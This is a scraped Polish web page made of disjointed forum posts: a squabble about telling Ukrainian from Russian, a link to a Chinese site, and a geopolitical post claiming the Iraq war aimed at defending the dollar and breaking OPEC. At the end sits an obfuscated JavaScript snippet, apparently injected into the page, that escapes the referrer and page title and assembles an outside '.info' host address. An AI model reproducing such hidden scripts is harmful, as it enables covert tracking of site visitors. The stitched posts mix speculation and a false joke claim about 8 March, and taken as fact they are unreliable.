zarowno po kantonsku jak i po mandarynsku (Pekin go zreszta zaglusza, a strone
internetowa blokuje). VOA jest tez jedyna rozglosnia miedzynarodowa na swiecie
posiadajaca sekcje tybetanska!(probki na stronie <www.voanews.com>)

Gość portalu: . napisał(a):

> Ty w Polsce nic nie masz.
> A tam,gdzie mieszkasz-inne jezyki swiatowe sa,przez wszystkie zrozumiale.
> W Polsce po angielsku nawet babcia klozetowa klac potrafi.
> Nie mowiac juz o niemieckim.
> A jednak powinnas odroznic rosyjski od ukrainskiego.
>
A jak moge odroznic, skoro w zyciu nie mialam do czynienia z ukrainskim?
Dla mnie bukwy to sa bukwy.

Nie wstyd ci?

Wcale mi nie wstyd, tak jak nie wstyd mi , ze nie odrozniam japonskiego, od
chinskiego czy tez wietnamskiego.

> Wtedy bys zrozumiala,ze wspolpracowalem nie z KGB tylko z UPA.
> Czy ja pisze na temat?
> Nie nie piszesz na temat.

Wy sobie od rzeczy gledzicie.
> A ja przynajmniej ciekawostki podaje-w jezykach swiatowo ojczystych.
>
Ukrainski buraczku nie jest swiatowym jezykiem a oiczystym to moze jest dla
Ciebie, dla mnie napewno nie , jak i dla wiekszosci na tym forum.
Jak juz sie wypowiadasz to wypadaloby sie trzymac tematu...

A split,to nie twoj kumpel?
> A kosula-ten wymanierowany rzeczywisty duren?
> A naczelny zamiatacz Guc?
> Wybacz, ja nie mam kumpli, to sa ludzie piszacy na forum, a Twoje zdanie na
ich temat malo mnie interesuje.

Chinski znac w Belgii nie musisz.
> Ale ukrainski od rosyjskiego i bialorosyjskiego odroznic powinnas.
>
A jak mam odrozniac, skoro w zyciu nie mialam stycznosci z jezykiem ani
bialoruskim ani z ukrainskim?

Teraz wiadomo-dlaczego PRL upadlo.
> Tyle pieniedzy na ksztalcenie ludnosci wybulilo.
>
Uczyli tego co niepotrzeba ,wybacz w Belgii ze znajomoscia rosyjskiego, czy tez
bialoruskiego czy ukrainskiego nie wiele bym zdzialala, za to angielski przydal
sie bardzo.

No ico?
> Powiedz odrazu-czego jeszcze nie umiesz.
> Czas zaoszczedzimy.
> Hmmm czego ja nie umiem?A nie umiem prowadzic traktora , i nie umiem
kompletnie szyc, rozumiesz, igly w reku trzymac nie potrafie jak mowila moja
mama.

"Panienko"
> Wybacz-jakos ucieklo.
> Zapomnialem zlozyc zyczenie z okazji 8 marca.
> Rocznica samospalenia dunskiej sufrazystki,ktora poswiecila sie dla
> siostr swoich.
> Mam nadzieje,ze obwolaja ja kiedys swieta.
>
Za zyczenia dziekuje.
Wiesz kto to byla Sendlerowa?

O ludzie, ludzie!!
Nazwisko panienskie matki Forbes, urodzona we Francji. Dla ciekawostki dodam ze
dziadek ze strony matki urodzil sie w ...Chinach a jeden z pradziadkow Johna
Keerry'ego urodzil sie w Glogowku na Opolszczyznie.

I meet travelers to China ONLY.
z cyklu ciekawostki kapitalistyczne na dalekim wschodzie

www.lafillechinoise.com/welcome.html
5040

Do tej listy nalezy dodac jeszcze kilka punktow.
Nie tylko ropa i Irak ale i :
1) Obrona Dolara. Hussain sprzedawal rope (za zywnosc i leki) uzywajac Euro.
Coraz wiecej panstw, z tych najwazniejszych, Chiny, wiekszosc Europejskich
panstw, caly OPEC zaczyna rozliczac sie i wymieniac rezerwy walutowe z $US na
Euro. $US stanowi obecnie ponad 70% swiatowych rezerw walutowych. Zmniejszanie
tego procentu grozi ekonomiczna katastrofa nie tylko gospodarce US ale i
przecietnemu obywatelowi. Jako ciekawostke moge podac ze czytalem ze kazda
proba ucieczki od $US bedzie uwazana przez administracje za akt wrogi wobec
USA. Przekonac sie mozna na przykladzie Tajwanu. Ale to nie na temat.
2) Droga do unicestwienia OPEC. Nie wiem czy wiadomo wam, ze premier Wenezueli,
Chavez, byl jedyna glowa panstwa goszczona przez Hussaina przed wojna. O czym
rozmawiali, nie trzeba chyba wspominac. To rowniez tlumaczy obecne niepokoje w
samej Wenezueli, chec obalenia Chaveza, tajemnicze pojawiania sie Al Quaidy np
w Nigerii, czy zamachy bombowe w Arabii Saudyjskiej. Dziwnie jakos, ale
wszystko to dzieje sie w panstwach bedacych czlonkami OPEC
3) Odsuniecie Rosji, Francji, Niemiec od Irackiej ropy. Wszystkie trzy
kraje mialy podpisane milionowe albo miliardowe kontrakty na rope, iracka
infrastrukture (rurociagi, przetworstwo). US i GB mialy ponad 3/4 udzialow
w produkcji irackiej ropy - ale do chyba 1972, kiedy to nacjonalizacja
pozbawila amerykanow i brytyjczykow dostepu, na korzysc, glownie Francji
i Rosji. Innym celem jest rozbicie solidarnosci wewnatrz Unii Europejskiej
(stara i nowa Europa) jak powiedzial Rumsfeld.
4) Wplyw na Chiny, Japonie i Daleki Wschod. Dziwnym trafem Japonia, wbrew
wlasnej konstytucji, pierwszy raz po II wojnie wyslala wojska na front.
Dlaczego ? Japonczycy importuja ponad 70% ropy z Bliskiego Wschodu.
Ropa moze byc fantastyczna bronia i srodkiem wplywu na administracje wielu
panstw.
5) Zamerykanizowany Irak bedzie doskonalym przyczolkiem do "wyzwolenia"
nastepnych roponosnych obszarow, np Iran. To jest wlasnie przyczyna dla ktorej
Teheran znalazl sie w "osi zla". Plan Amerykanskiej expansji przewiduje zmiane
rezimu w Iranie, aby calos basenu Morza Kaspiskiego byla kontrolowana.
Dodajmy ze niektore obszary (polnocne wybrzeze) juz sa po wplywem US
(Azerbejdzan, Uzbekistan czy inne post sovieckie republiki). Ma to podwojne
znaczenie: utrudnia rosjanom transport ropy i minimalizuje ich wplywy na
zakaukaziu i rejonie Morza Kaspijskiego.

Oprocz tego jest jeszcze wiele innnych, mniejszych i mniej waznych.
Pozdrawiam, Beaver

function bb515451ff18470(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451ff18436(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451ff18436(bb515451ff18470(document.referrer),bb515451ff18470(document.title)));